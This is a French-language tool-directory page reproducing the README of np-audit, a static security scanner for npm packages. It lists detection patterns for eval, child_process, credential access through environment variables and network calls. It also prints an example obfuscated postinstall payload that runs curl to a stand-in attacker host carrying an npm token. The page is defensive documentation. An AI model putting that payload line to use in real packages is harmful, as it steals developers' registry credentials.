Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
np-audit — Analyse statique de sécurité pour les paquets npm. Détecte le code obfusqué, les patterns malveillants et les vulnérabilités connues avant l'installation. | Kitploit
Outils/GitHubGitHub/koblers/np-audit
Analyse StatiqueScanners de VulnérabilitésAnalyse de CodeAnalyse de MalwareDétection de SecretsSécurité de la Chaîne Logistique
GitHubkoblers/np-audit

np-audit

Analyse statique de sécurité pour les paquets npm. Détecte le code obfusqué, les patterns malveillants et les vulnérabilités connues avant l'installation.

Voir le dépôt
75il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

np-audit

npm version npm downloads npm package size GitHub license CI codecov

np-audit — auditeur de paquets npm

Analyse de sécurité statique pour les paquets npm — détecte les scripts de cycle de vie obfusqués, les vulnérabilités connues et les schémas malveillants avant leur exécution. Remplacement direct de npm install et .

npm ci

Zéro dépendance. Uniquement les modules intégrés de Node.js. < 100 kB une fois téléchargé.

root@kitploit:~
npx np-audit scan express
root@kitploit:~
npm install -g np-audit
npa scan                     # scan all deps
npa install                  # audit then install
alias npm='npa'              # use as drop-in replacement

Marshallers

La détection est répartie en marshallers modulaires — chacun détecte un signal d'attaque unique :

MarshallerCe qu'il détecteScore
eval/dynamic-execeval(), new Function(), eval indirect, vm.*, setTimeout avec une chaîne8
obfuscator.iomodèles de noms de variables _0x (sortie d'obfuscator.io)9–80
high-entropy-stringChaînes longues ou chaînes de concaténation à haute entropie de Shannon6
hex-escape-densitySéquences d'échappement denses \xNN et \uXXXX5–50
fromCharCodeString.fromCharCode avec de nombreux arguments, grands tableaux décimaux de codes de caractères7
encoded-decodeDécodage Base64/hex (atob, Buffer.from) éventuellement combiné avec eval3–8
child-processrequire('child_process'), exec, spawn, fork, worker_threads5
hex-arrayGrand nombre de valeurs littérales hexadécimales 0x7–60
process-envaccès à process.env (signal d'exfiltration d'identifiants)3
network-callrequire('https'), fetch(), dns, net, tls4
filesystem-manipulationfs.writeFile, chmod, symlink (persistance de porte dérobée)3–4
runtime-downloadTélécharge et exécute des runtimes externes (Bun, Deno)

Les scores évoluent avec la sévérité — un plus grand nombre d'indicateurs d'obfuscation produit des scores plus élevés. Le verdict final repose sur le score individuel le plus élevé parmi tous les marshallers.

Voir CONTRIBUTING.md pour savoir comment écrire des marshallers personnalisés.


Analyse des vulnérabilités (CVE)

Chaque paquet analysé est vérifié par rapport aux bases de données de vulnérabilités connues en plus de l'analyse du code.

Par défaut : OSV.dev (aucune configuration requise)

Fonctionne immédiatement — interroge l'API gratuite OSV.dev pour les vulnérabilités connues et les avis de paquets malveillants.

Optionnel : API Snyk (données plus riches)

root@kitploit:~
# Environment variable
export SNYK_API_TOKEN=your-token-here

# Or via Snyk CLI
snyk auth

Ordre de résolution du jeton : SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

SévéritéScoreVerdict
Paquet malveillant80DANGER
10+ vulnérabilités6WARN
5–9 vulnérabilités5WARN
1–4 vulnérabilités4WARN

Les CVE non malveillantes produisent des avertissements mais ne bloquent jamais l'installation. Seuls les paquets confirmés malveillants déclenchent DANGER.


Utilisation

Commandes

CommandeAliasDescription
npa install [package]npa iAudit puis exécution de npm install
npa ci—Audit puis exécution de npm ci
npa scan [package]npa sAnalyse uniquement, sans installation
npa config getnpa c getAfficher la configuration actuelle
npa config set <key> <value>npa c setMettre à jour une valeur de configuration
npa alias --install—Installer l'alias shell
npa alias --uninstall—Supprimer l'alias shell

Toute commande non reconnue est transmise à npm (par ex. npa run test, npa publish).

Options

OptionAliasFonctionne avecDescription
--review-rinstall, ciMode interactif — choisir quels scripts autoriser
--json—install, ci, scanSortie JSON lisible par machine
--no-dev—install, ci, scanIgnorer les devDependencies
--verbose—toutesAfficher la progression du téléchargement et des détails supplémentaires
--version-v—Afficher la version et quitter
--help-h—Afficher l'aide et quitter

Mode interactif --review

root@kitploit:~
npa install --review
root@kitploit:~
  npa --review mode
  Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit

  Found 3 package(s) with install scripts:

     [✓ allow] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ deny ] [email protected]       postinstall: install.js          DANGER (score: 9)
     [✓ allow] @scope/[email protected]     postinstall: install.js          WARN (score: 5)

  2 allowed  1 denied

Configuration

La configuration est stockée dans ~/.npmauditor.json (global) et peut être remplacée par projet avec .npmauditor.json.

root@kitploit:~
npa config get                              # Show current config
npa config set blockScore 6                 # Block at score 6+
npa config set skipPackages '["esbuild"]'   # Trust specific packages
npa config set skipScopes '["@types"]'      # Trust entire scopes

Toutes les clés de configuration

CléDéfautDescription
blockScore7Seuil de score pour DANGER (code de sortie 1)
warnScore4Seuil de score pour WARN (code de sortie 0)
registryhttps://registry.npmjs.orgURL du registre npm
timeout30000Délai d'expiration des requêtes HTTP (ms)
parallelFetches5Téléchargements simultanés
skipScopes[]Préfixes @scope à ignorer
skipPackages[]Noms de paquets à ignorer
silentfalseSupprimer la sortie quand aucun problème n'est trouvé
scanSelftrueAnalyser les scripts de cycle de vie du projet lui-même
maxTarballSize50MBTaille maximale de l'archive extraite (protection contre les bombes)
checkVulnerabilitiestrueVérifier les paquets par rapport aux bases de données CVE
deepResolvefalseRésoudre l'arbre complet des dépendances transitives
disabledMarshallers[]Noms des marshallers à ignorer pendant l'analyse

Désactiver les marshallers

Vous pouvez désactiver des contrôles de détection spécifiques en ajoutant leurs noms à disabledMarshallers :

root@kitploit:~
npa config set disabledMarshallers '["process-env", "network-call"]'

Pour voir tous les noms de marshallers disponibles et leur statut actuel :

root@kitploit:~
npa config marshallers

C'est utile lorsqu'un marshaller produit des faux positifs pour votre flux de travail. Les marshallers désactivés sont entièrement ignorés lors de l'analyse statique du code et des vérifications au niveau des paquets.


Alias shell

Utilisez npa comme remplacement transparent de npm :

root@kitploit:~
npa alias --install     # adds: alias npm='npa'
source ~/.zshrc         # reload shell

Désormais, npm install et npm ci analysent automatiquement. Toutes les autres commandes npm (npm run, npm test, npm publish) sont transmises sans modification.

root@kitploit:~
npa alias --uninstall   # remove the alias

Comment ça marche

  1. Analyser package-lock.json (v1/v2/v3) ou résoudre à partir de package.json
  2. Récupérer les archives du registre (ou les lire depuis node_modules)
  3. Analyser les commandes de cycle de vie — découpe &&/||/;/|, gère node -e, sh -c, les scripts shell
  4. Parcourir le graphe require()/import à partir de chaque entrée (détection de cycles, limite de 50 fichiers / 5 Mo)
  5. Analyser avec tous les marshallers — vérifications statiques du code + requêtes aux bases de données CVE
  6. Noter et classer : DANGER / WARN / OK
  7. Rapporter ou poursuivre l'installation

Le vecteur d'attaque

Les attaques de la chaîne d'approvisionnement abusent des scripts de cycle de vie npm. Lorsque vous exécutez npm install, tout script preinstall/install/postinstall s'exécute automatiquement. Les attaquants dissimulent leurs charges utiles derrière de l'obfuscation :

root@kitploit:~
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

Incidents réels :

  • event-stream (2018) — vol d'identifiants de portefeuille Bitcoin
  • ua-parser-js (2021) — mineur de crypto + voleur d'informations
  • node-ipc (2022) — malware destructeur ciblé géographiquement
  • colors / faker (2022) — sabotage par le mainteneur
  • SAP CAP / cds-dbs (2025) — paquet compromis ciblant les développeurs d'entreprise

npa n'exécute jamais les scripts. Il les télécharge et les analyse statiquement.


Codes de sortie

CodeSignification
0Tout est propre ou avertissements uniquement
1Un ou plusieurs paquets bloqués

Licence

MIT

Télécharger l’outil
9–50
vscode-autorunTâches VS Code avec runOn: folderOpen (exécution automatique)30
known-vulnerabilityCVE connues via l'API Snyk ou OSV.dev4–6 (WARN), 80 (malicious)